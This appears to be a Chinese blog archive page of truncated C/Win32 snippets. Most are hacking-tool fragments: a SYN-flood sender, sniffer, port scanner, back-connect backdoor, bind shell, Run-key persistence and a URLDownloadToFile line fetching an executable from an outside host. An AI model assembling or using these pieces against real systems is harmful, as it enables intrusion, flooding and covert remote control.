上一页 1 ··· 48 49 50 51 52 53 54 55 56 ··· 61 下一页
  2010年5月30日
摘要: #include<windows.h>#include<stdio.h>int main(int argc,char *argv[]){HANDLE hMutex;DWORD dwErr;hMutex=CreateMutex(NULL,//无安全描述FALSE,//没有所有者 "HACK");//对象名if(hMutex==NULL)//hMutex为NULL标示创建失败{... 阅读全文
posted @ 2010-05-30 21:47 carekee 阅读(177) 评论(0) 推荐(0)
摘要: 发送#include <stdio.h>#include <winsock2.h>#pragma comment(lib, "ws2_32.lib")void main() {// 初始化 WSADATA wsaData; int iResult = WSAStartup( MAKEWORD(2,2), &wsaData ); if ( iResult != NO_... 阅读全文
posted @ 2010-05-30 21:46 carekee 阅读(311) 评论(0) 推荐(0)
摘要: #include <stdio.h>#include <windows.h>int main(int argc,char *argv[]){MessageBox(NULL,"Hello",NULL,MB_OK);char temp[256];memset(temp,0,256);if(argc!=1){int length =strlen(argv[1]);char *ch... 阅读全文
posted @ 2010-05-30 21:46 carekee 阅读(412) 评论(0) 推荐(0)
摘要: #include <winsock2.h>#include <Ws2tcpip.h>#include <stdio.h>#pragma comment(lib,"ws2_32.lib")#define SEQ 0x28376839int threadnum,maxthread,port;char *DestIP;//目标IPvoid display(void) ... 阅读全文
posted @ 2010-05-30 21:45 carekee 阅读(477) 评论(0) 推荐(0)
摘要: #include <winsock2.h>#include <ws2tcpip.h>#include <stdio.h>#include <time.h>#include "mstcpip.h"#pragma comment(lib,"ws2_32.lib")#define SEQ 0x28376839SOCKET sockRaw = INVALID... 阅读全文
posted @ 2010-05-30 21:44 carekee 阅读(1869) 评论(0) 推荐(0)
摘要: #include "stdafx.h"#include "xpktfilter.h"#include "xpktfilterDlg.h"#include ".\xpktfilterdlg.h"#ifdef _DEBUG#define new DEBUG_NEW#endif#pragma comment(lib,"iphlpapi.lib")// CxpktfilterDlg 对话框Cxpktfil... 阅读全文
posted @ 2010-05-30 21:44 carekee 阅读(665) 评论(0) 推荐(0)
摘要: #include <windows.h>#include<stdio.h>#include "resource.h"void WriteResourceToFile(char const *filename){HINSTANCE hInstance=GetModuleHandle(NULL); HRSRC hResInfo = FindResource(hInstance... 阅读全文
posted @ 2010-05-30 21:43 carekee 阅读(298) 评论(0) 推荐(0)
摘要: #include <stdio.h>#include<winsock2.h>#include <time.h>#pragma comment(lib,"ws2_32.lib")char *host;int threadnum,maxthread,totalport;long nowport;TIMEVAL timeout;FD_SET mask;void us... 阅读全文
posted @ 2010-05-30 21:43 carekee 阅读(1411) 评论(0) 推荐(0)
摘要: /*---------------------------------------SNMP信息刺探程序----------------------------------------*/#include <stdio.h>#include <malloc.h>#include <snmp.h>#include <mgmtapi.h>#pragma c... 阅读全文
posted @ 2010-05-30 21:42 carekee 阅读(853) 评论(0) 推荐(0)
摘要: #include <stdio.h>#include <winsock2.h>#include <ws2tcpip.h>#pragma comment (lib,"ws2_32.lib")#define SIO_RCVALL _WSAIOW(IOC_VENDOR,1)struct IPHEAD{ unsigned char h_len:4;//4位首部长度+4位... 阅读全文
posted @ 2010-05-30 21:42 carekee 阅读(223) 评论(0) 推荐(0)
摘要: #include<winsock2.h>#include<stdio.h>#pragma comment(lib,"ws2_32.lib")void main(int argc,char **argv){char *messages = "\r\n======================== BackConnect BackDoor V0.1 =============... 阅读全文
posted @ 2010-05-30 21:41 carekee 阅读(396) 评论(0) 推荐(0)
摘要: #include <winsock2.h>#pragma comment(lib, "ws2_32.lib")#pragma comment(lib, "kernel32.lib")#define PORT 90SOCKET ServerSocket = INVALID_SOCKET;SOCKET ClientSocket = INVALID_SOCKET;HANDLE hReadPi... 阅读全文
posted @ 2010-05-30 21:41 carekee 阅读(1549) 评论(0) 推荐(0)
摘要: #include <windows.h>#include <stdio.h>#include <lm.h>#pragma comment (lib, "Mpr.lib")#pragma comment (lib, "Netapi32.lib")void getuser(char *);void main( int argc, char *argv[ ] ){DW... 阅读全文
posted @ 2010-05-30 21:40 carekee 阅读(295) 评论(0) 推荐(0)
摘要: #include <stdio.h>#include <windows.h>int main(void){char regname[]="Software\\Microsoft\\Windows\\CurrentVersion\\Run";HKEY hkResult;int ret=RegOpenKey(HKEY_LOCAL_MACHINE,regname,&hkR... 阅读全文
posted @ 2010-05-30 21:39 carekee 阅读(249) 评论(0) 推荐(0)
摘要: #include <urlmon.h>#pragma link "w32inet.lib" int main(){HRESULT hRet=URLDownloadToFile(0,"http://www.1111.com/abc.exe","d:\\abc.exe",0,0); if(hRet==S_OK) { printf("Download OK!\n");} else { p... 阅读全文
posted @ 2010-05-30 21:39 carekee 阅读(270) 评论(0) 推荐(0)
摘要: #include <stdio.h>#include <windows.h>SERVICE_STATUS m_ServiceStatus;SERVICE_STATUS_HANDLE m_ServiceStatusHandle;BOOL bRunning=true;void WINAPI ServiceMain(DWORD argc, LPTSTR *argv);//服务主函... 阅读全文
posted @ 2010-05-30 21:37 carekee 阅读(464) 评论(0) 推荐(0)
摘要: #include<stdio.h>#include<windows.h>void GetSysInfo();DWORD GetOS(){OSVERSIONINFO os;os.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);GetVersionEx(&os);switch(os.dwPlatformId){case VER_PLA... 阅读全文
posted @ 2010-05-30 21:37 carekee 阅读(511) 评论(0) 推荐(0)
摘要: void pslist(void){HANDLE hProcessSnap = NULL;PROCESSENTRY32 pe32= {0};hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);if (hProcessSnap == (HANDLE)-1){printf("\nCreateToolhelp32Snapshot(... 阅读全文
posted @ 2010-05-30 21:36 carekee 阅读(464) 评论(0) 推荐(0)
摘要: 头文件#if !defined(AFX_DIRECTSOUND_H__A20FE86F_118F_11D2_9AB3_0060B0CDC13E__INCLUDED_)#define AFX_DIRECTSOUND_H__A20FE86F_118F_11D2_9AB3_0060B0CDC13E__INCLUDED_#if _MSC_VER >= 1000#pragma once#endif /... 阅读全文
posted @ 2010-05-30 21:35 carekee 阅读(1345) 评论(0) 推荐(0)
摘要: VC8.0 以后里面是不支持 默认int型的VC8.0以后里面不支持这样的for循环for(int i = 0; i> 10 ; i++){ ......}不能在循环括号内定义变量,而应该改成:int i ;forint (i = 0; i> 10 ; i++){ ......}1) 2560行 SPPHONEID* pphoneId = (SPPHONEID*)((WCHAR *)d... 阅读全文
posted @ 2010-05-30 21:34 carekee 阅读(294) 评论(0) 推荐(0)
上一页 1 ··· 48 49 50 51 52 53 54 55 56 ··· 61 下一页